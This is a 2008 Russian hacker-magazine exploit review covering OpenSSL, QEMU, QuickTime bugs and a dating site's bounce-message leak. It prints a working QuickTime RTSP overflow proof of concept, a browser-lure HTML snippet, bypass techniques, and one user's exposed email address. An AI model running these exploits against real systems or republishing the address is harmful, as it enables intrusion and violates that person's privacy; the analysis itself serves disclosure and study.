Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 109, ЯНВАРЬ 2008 г.

Обзор эксплойтов

Крис Касперски

Хакер, номер #109, стр. 044

Последний месяц собрал богатый урожай критических ошибок самого разного калибра, форм-фактора и типоразмера, поразивших в том числе и Linux с OpenBSD (чего уже давно не случалось). Но, как водится, самые сочные дыры традиционно созревают в Висте и хрюше, которым посвящен нас сегодняшний full disclose, приправленный тройкой более мелких уязвимостей.

OpenSSL: переполнение буфера SSL_Get_Shared_Ciphers

Brief

В конце ноября 2007 года на хакерских форумах появились многочисленные сообщения о переполнении буфера в функции SSL_Get_Shared_Ciphers(), входящей в состав популярной библиотеки OpenSSL и затрагивающей практически все операционные системы по OpenBSD включительно. Остается только выяснить, насколько серьезен вектор атаки. Зерно раздора было брошено в почву еще за год до этого, когда Tavis Ormandy и Will Drewry из Google Security Team обнаружили ошибку переполнения в сабжевой функции (http://securityfocus.com/bid/20249), которую разработчики OpenSSL мужественно устранили, выпустив обновленные версии OpenSSL 0.9.7l/0.9.8d. Спустя некоторое время о дыре все забыли. Все, кроме хакера по имени Moritz Jodeit, обратившего внимание на то, что при определенных обстоятельствах переполнение все-таки происходит, передавая управление shell-коду. Что же это за обстоятельства такие? Рассмотрим фрагмент файла ssl/ssl_lib.c:

p=buf; sk=s->session->ciphers;

for (i=0; i<sk_SSL_CIPHER_num(sk); i++)

{

/* Decrement for either the ':' or a '\0' */

len--; [4]

c=sk_SSL_CIPHER_value(sk,i);

for (cp=c->name; *cp; )

{

if (len-- <= 0) [1]

{

*p='\0'; [5]

return(buf);

}

else

*(p++)= *(cp++); [2]

}

*(p++)=':'; [3]

}; p[-1]='\0'; return(buf);

Древняя уязвимость исправлена строкой [1], но сильно лучше от этого не стало. Заполним буфер шифруемой строкой с таким расчетом, чтобы len == 1, а сp указывал на конец строки. Тогда в последнем проходе цикла for() переменная len обратится в ноль, записывая последний байт строки в шифробуфер [2], увеличивая указатель на единицу. Затем этот байт заполняется символом-разделителем «:», а указатель p уменьшается на единицу для записи терминатора \0. Если же шифрование на этом не кончается, мы возвращаемся во внешний цикл, уменьшаем len на единицу еще раз и тут же выполняем проверку на равенство нулю, после чего функция возвращает буфер с незавершенным нулем с последующим переполнением и передачей управления на shell-код.

Targets

Уязвимы практически все Linux- и xBSD-системы, включающие в себя библиотеку OpenSSL с версии 0.9.7 по версию 0.9.8e включительно (в этом список попадает и OpenBSD 4.0, и FreeBSD 6.2, и т.д.).

Exploit

Теперь перейдем от теории к практике. Что мешает нам написать боевой эксплойт? Во-первых, необходимо приложение, явным образом вызывающее функцию SSL_Get_Shared_Ciphers(), изначально предназначенную для отладочных целей и потому не слишком популярную. Во-вторых, поскольку процедура «рукопожатия» (handshake) не вызывает этой функции, мы должны найти способ послать специальным образом сконструированные строки как серверу, так и клиенту. В-третьих, мы должны иметь доступ к SSL-приложению как на клиенте, так и на сервере, где оно обычно запущено с повышенными привилегиями и до которого там просто не добраться.

Solution

Производители библиотеки OpenSSL оперативно отреагировали на сообщение об уязвимости, исправив ошибку в версии OpenSSL_0_9_8-stable, доступной на CVS и вышедшей 19 октября 2007 года, то есть всего спустя 13 дней после уведомления о дыре. Разработчики операционных систем также не остались в стороне и выложили патчи, которые, впрочем, можно не качать, поскольку особой опасности нет.

QEMU: локальный отказ в обслуживании

Brief

30 ноября 2007 года десятилетний (но уже продвинутый) новозеландский хакер по имени TeLeMan обнаружил ошибку в популярном эмуляторе QEMU (http://fabrice.bellard.free.fr/qemu), распространяемом в исходных текстах на бесплатной основе и портированном на множество различных платформ. Дефект реализации буфера трансляции машинных команд (в исходных текстах он обозначен как Translation Block buffer) приводит к возможности переполнения с передачей управления shell-коду или к банальному отказу в обслуживании, что хоть и не смертельно, но все же весьма неприятно. Подробности на www.securityfocus.com/bid/26666.

Target

В настоящее время уязвимость подтверждена в версии 0.9. Про остальные пока ничего не известно, но есть все основания полагать, что они также уязвимы.

Explout

Демонстрационный proof-of-concept exploit (с романтическим названием SUN OF A BEACH), вызывающий отказ в обслуживании, можно скачать по адресу www.securityfocus.com/data/vulnerabilities/exploits/26666-qemu-dos.rar. Как мы видим, он представляет собой rar-архив размером 970 байт, распаковав который, мы обнаружим com-файл в 2560 байт. На самом деле это никакой не com, а самый настоящий exe, причем, если быть предельно корректным, win32-PE. Как известно, системный загрузчик не различает расширений и ему все равно. Хоть com, хоть exe. Ладно, грузим этот PE в дизассемблер и видим, что он упакован UPX'ом. Незлобно материмся, берем последнюю версию UPX (бесплатную, кстати) и распаковываем файл путем указания ключа ‘-d’ (от decompression) в командной строке. Размер эксплойта немедленно увеличивается аж до 1 056 768 байт. Хвостом чую — тут что-то не то, но не будем делать поспешных выводов, а загрузим файл в дизассемблер. В итоге мы увидим огромное (40000h) количество команд «paddsb xmm1, xmm2» (сложение с насыщением знаковых упакованных байт), за которыми следует вызовов диалогового окна с надписью «Рassed» – тест пройден. Ну, это на живом ЦП он пройден, а у эмулятора эксплойт конкретно рвет крышу и будет рвать до тех пор, пока разработчики его не пофиксят.

Solution

Решения проблемы в настоящее время не существует, и, выполняя потенциально опасный код на эмуляторе QEMU, мы легко можем превратиться из охотника в жертву.

Замок Боли: доступ к пользовательским данным

Brief

Блуждая по Сети в поисках жратвы (то есть добычи, которая эту жратву и будет готовить), я натолкнулся на сайт http://paincastle.ru, содержащий раздел знакомств в довольно типичной для BDSM-сайтов манере: отправить жертве письмо можно только через специальную форму, указав свой email. Считается, что такой способ надежно страхует от спама и от разных маньяков, которые долбят настолько занудно, что им легче дать, чем послать в /dev/nul. То есть послать-то их конечно можно, но они все равно не уйдут. Короче говоря, существует тысяча и одна причина для сокрытия своего почтового адреса от посторонних глаз. Но так ли этот механизм надежен и можно ли ему доверять? Оказывается, что нет, и я столкнулся с вполне типичной ошибкой, которую встречал уже не раз и даже не два раза, а очень много раз, и наконец решил ее описать, чтобы:

  1. пользователи знали, что они далеко не всегда защищены;
  2. администраторы думали головой и тестировали движок, просчитывая наперед все возможные ситуации.

Ситуации бывают разные. Самая типичная из них: при попытке пересылки содержимого формы конечному адресату его почтовый сервер отбивает письмо назад, поскольку считает, что это спам, и сайт-отправитель уже давно занесен в черный список. Теоретически код, обрабатывающий форму, должен уведомить отправителя, что его письмо не дошло до адресата и что вообще не судьба, что в данном случае и происходит. Только вместе с уведомлением о невозможности доставки в тело отбитого письма включается и сам целевой адрес жертвы, на который ей теперь можно писать без всяких там форм и прочих отчетностей.

Пример ответа приведен ниже. Сначала идет текст, сгенерированный роботом, затем - заголовок письма, отбитого почтовым сервером, и ниже - само тело сообщения, адресованного жертве (здесь оно не показано):

Раскрытие подлинного почтового адреса жертвы

Hi. This is the qmail-send program at sys145.3fn.net.

I'm afraid I wasn't able to deliver your message to the following addresses.

This is a permanent error; I've given up. Sorry it didn't work out.

<taska2004@mail.ru>:

194.67.23.20 failed after I sent the message.

Remote host said: 550 spam message discarded. If you think that the system is mistaken, please report details to abuse@corp.mail.ru

Apple QuickTime: переполнение стека в RTSP-заголовке

Brief

23 ноября 2007 года польский хакер по кличке Krystian Kloskowski (также известный под кодовым именем h07) обнаружил дыру в Apple QuickTime Player, а также всех его плагинах, цепляющихся к популярным браузерам и позволяющих реализовать удаленную атаку путем заманивания жертвы на подконтрольный хакеру web-сервер. Обычно это осуществляется массированной рассылкой email’ов. Ошибка заключается в некорректной обработке поля Content-Type в RTSP-заголовке и приводит к переполнению буфера с возможностью засылки зловредного shell-кода. Парни из исследовательской лаборатории корпорации Symantec протестировали демонстрационный эксплойт от Krystian'а Kloskowski, раскрошив Горячего Лиса, Сафари, IE6/7, чем и подтвердили наличие дыры. Однако они крайне скептически отнеслись к возможности захвата управления, о чем и высказались в своем блоге (www.symantec.com/enterprise/security_response/weblog/2007/11/0day_exploit_for_apple_quickti.html). Десятки хакеров со всего мира, засев за отладчики и компиляторы, доказали, что товарищи из Symantec'а кругом неправы и захват управления возможен не только на XP SP2, но даже на Висте со всеми ее новомодными системами защитами. Эксплойты посыпались, как перезрелые мандарины с дерева! Подробности этого прецедента читай на www.securityfocus.com/bid/26549.

Targets

Уязвимость подтверждена в версиях 7.2 и 7.3 Apple QuickTime Player, что затрагивает целый ряд браузеров: IE6/7, Горящего Лиса, Оперу, Сафари, а также некоторые другие программные продукты, работающие с потоковым видео через QuickTime Player, например Second Life Viewer от компании Linden Research, Inc. Операционные системы: W2K/XP SP0/SP1/SP2/Vista.

Exploits

Имеется огромное количество эксплойтов: от узконаправленных (атакующих системы строго определенного типа) до универсальных, список которых с краткими комментариями приведен ниже:

  • http://downloads.securityfocus.com/vulnerabilities/exploits/26549.py - самый первый эксплойт от Krystian'а Kloskowski, написанный на Питоне и работающий на XP SP2, вызывая крах браузера, больше никаких действий не производит и к тому же требует дописывания части HTML-кода для встраивания QuickTime-объекта.
  • http://securityfocus.com/data/vulnerabilities/exploits/26549-qt_public.tar.gz - законченный pack от Yag Kohha (skyhole@gmail.com), включающий в себя все необходимые файлы для атаки на браузер. Содержит shell-код, пробивающий XP SP2 на пару с Vista.
  • http://downloads.securityfocus.com/vulnerabilities/exploits/26549-uni2.py - боевой эксплойт, написанный двумя хакерами - muts'ом и javaguru1999 - специально, чтобы позлить парней из Symantec, считающих, что захват управления невозможен. Эксплойт работает на XP SP2/Висте со всеми браузерами, убивая их путем принудительного завершения процесса (естественно, shell-код может быть переписан).
  • http://downloads.securityfocus.com/vulnerabilities/exploits/26549-uni.py - первая редакция предыдущего эксплойта — сырая и не вполне уверенно работающая, но все же полезная для ознакомления.
  • http://downloads.securityfocus.com/vulnerabilities/exploits/26549.c - качественный эксплойт на Си, написанный хакером InTeL'ом. Работает на всех системах/браузерах, содержит внятные комментарии и легко модифицируемый shell-код.

Solution

На момент публикации статьи никаких заплаток нет, и самое умное, что можно сделать, — это заблокировать TCP-порт 554 на брандмауэре, лишившись возможности просмотра потокового QuickTime-контента. Но, как говорится, за все в этом мире приходится платить, а за безопасность тем более. Или же просто снести напрочь плагин QueckTime, а аудио- и видеофайлы проигрывать, например, на mplayer'е или другом внешнем проигрывателе (впрочем, поиск проигрывателя без дыр — весьма абстрактная задачка из области фантастики).

Full disclose

Чтобы не блуждать во тьме и не насиловать отладчик, скачаем оригинальный эксплойт Krystian'а Kloskowski и присмотримся к нему повнимательнее (напоминаем, что он лежит по адресу http://securityfocus.com/data/vulnerabilities/exploits/26549.py). Большинство вопросов отпадут по ходу даже без глубокого знания Питона:

Оригинальный эксплойт от Krystian'а Kloskowski

from socket import *

header = (

'RTSP/1.0 200 OK\r\n'

'CSeq: 1\r\n'

'Date: 0x00 :P\r\n'

'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n'

'Content-Type: %s\r\n' # <-- здесь происходит переполнение

'Content-Length: %d\r\n'

'\r\n')

body = (

'v=0\r\n'

'o=- 16689332712 1 IN IP4 0.0.0.0\r\n'

's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'

'i=1.mp3\r\n'

't=0 0\r\n'

'a=tool:ciamciaramcia\r\n'

'a=type:broadcast\r\n'

'a=control:*\r\n'

'a=range:npt=0-213.077\r\n'

'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n'

'a=x-qt-text-inf:1.mp3\r\n'

'm=audio 0 RTP/AVP 14\r\n'

'c=IN IP4 0.0.0.0\r\n'

'a=control:track1\r\n'

)

tmp = "A" * 995

tmp += "B" * 4096

header %= (tmp, len(body))# 995 символов 'A' и 4096 символов 'B'

evil = header + body# конструируем переполненный заголовок

s = socket(AF_INET, SOCK_STREAM)

s.bind(("0.0.0.0", 554))# цепляемся за TCP-порт 554

s.listen(1)

print "[+] Listening on [RTSP] 554"

c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.recv(1024)

c.send(evil)

raw_input("[+] Done, press enter to quit")

c.close()

s.close()

Мы видим, что эксплойт представляет собой потоковый mp3-подобный сервер в миниатюре (точнее, его имитацию), генерирующий RTSP-пакеты с «дикими» заголовками, поле Content-Type которых собирается следующим образом: «[A * 995] + [B * 4096]\r\n», то есть содержит 995 символов 'A', за которыми следуют 4096 символов 'B'. Это, чтобы если и переполнять, то наверняка!

Ок, запускаем эксплойт на выполнение - и ничего не происходит! Правильно! Ведь мы только открыли порт и стали его слушать, ожидая подбросить первому встречному пакет-убийцу, но вот что-то никаких встречных на нашей улице не наблюдается, и, чтобы их заманить, необходимо создать HTML-файл с внедренным потоковым объектом. Огромное количество примеров реализации содержится на http://quicktime.tc.columbia.edu/users/iml/movies/mtest.html. Вот, например, один из них (естественно, адрес quicktime.tc.columbia.edu должен быть заменен нашим локальным адресом или адресом того сервера, на котором выложен эксплойт):

Пример внедрения потокового объекта в HTML-код

<script src="/javascript/AC_QuickTime.js"

language="JavaScript"type="text/javascript">

</script>

<script language="JavaScript" type="text/javascript">

QT_WriteOBJECT('rtsp://quicktime.tc.columbia.edu:554//movies/sixties.mov',

320','256','', 'autoplay', 'false');

</script>

А вот Yag Kohha в своем эксплойте пошел другим путем, ключевой фрагмент которого приводится ниже:

Внедрение потокового объекта в HTML-код по методу Yag’а Kohha

document.write('<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

width="0" height="0" style="border:0px">

<param name="src" value="./playlist.mov">

<param name="autoplay" value="true">

<param name="loop" value="false">

<param name="controller" value="true"></object>');

Открываем сгенерированный HTML в браузере, кликаем по ссылке на mp3-файл (якобы mp3) - и браузер тут же падает, позволяя нам проанализировать содержимое регистров (для этого в системе должен быть предварительно установлен Just-In-Time-отладчик, например, OllyDebugger).

41414141h (ASCII-коды символов 'A') указывают на следующую SEH-record (запись для обработки структурных исключений), а 42424242h затирают SEH-handler, что позволяет реализовать классическую передачу управления через подмену SEH-обработчика. Вот только работать это будет лишь на W2K, но никак не на XP SP2, поскольку там реализован защитный механизм, именуемый SafeSEH, препятствующий передаче управления на код, расположенный в стеке. Ну на самом деле это не такая уж большая проблема. В секции кода одной из динамических библиотек можно найти команду JMP ESP, соответствующую опкоду FFh E4h, который с высокой степенью вероятности встретится в памяти и сделает нам «пас», чего система даже не заподозрит. Правда, это не слишком надежно и совсем не универсально, ведь положение машинных команд варьируется от одной версии системы к другой и зависит еще и от типа и версии браузера. А на Висте, с учетом механизма рандомизации адресного пространства (ASLRAddress Space Layout Randomization), и вовсе труба, поскольку стартовые адреса библиотек выбираются случайным образом из 256 возможных вариантов, и шансы на успешную атаку тают прямо на глазах. Конечно, если долго мучиться, что-нибудь получится, то есть ожидаемая комбинация когда-нибудь да выпадет, особенно если мы не атакуем конкретную жертву, а устраиваем тотальную бомбежку в надежде создать очередной ботнет.

Однако, на наше счастье, модули, входящие в состав QuickTime Player'а (а именно модули с расширением gtx), не используют ни рандомизацию (по соображениям производительности), ни Safe-SEH (совершенно непонятно, по каким соображениям), поэтому атака из труднореализуемой становится совершенно тривиальной.

Достаточно передать управление куда-то внутрь одного из gtx-модулей, и все, что нам нужно, — это учитывать версию самого Quick Time Player'а, которых на данный момент в широком использовании всего две: 7.2 и 7.3. Единственная проблема, с которой приходится сталкиваться хакерам (и которая сбивает с толку многих начинающих), — это принудительная фильтрация символов поля Content-Type, приводящая к невозможности использования большого количества машинных команд в shell-коде. В частности, символы 4Bh (DEC EBX), 59h (POP ECX) 79h (JNS XXX) отметаются парсером как неверные. К тому же эти hex-коды могут быть и частью других машинных команд. Что делать? Очень просто - шифровать! Основное тело shell-кода зашифровано таким образом, что «запрещенные» символы в нем не встречаются, а в качестве расшифровщика используется тривиальный цикл с XOR, который легко написать даже с учетом всех правил фильтрации, которые только есть.

Таким образом, атака на Apple QuickTime – это реальность, рискующая в любую секунду обернуться глобальной техногенной катастрофой, поражающей все системы без разбора. Боевые эксплойты уже написаны и выложены в публичный доступ, а дырка до сих пор не закрыта! В общем, ситуация просто взрывоопасная.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001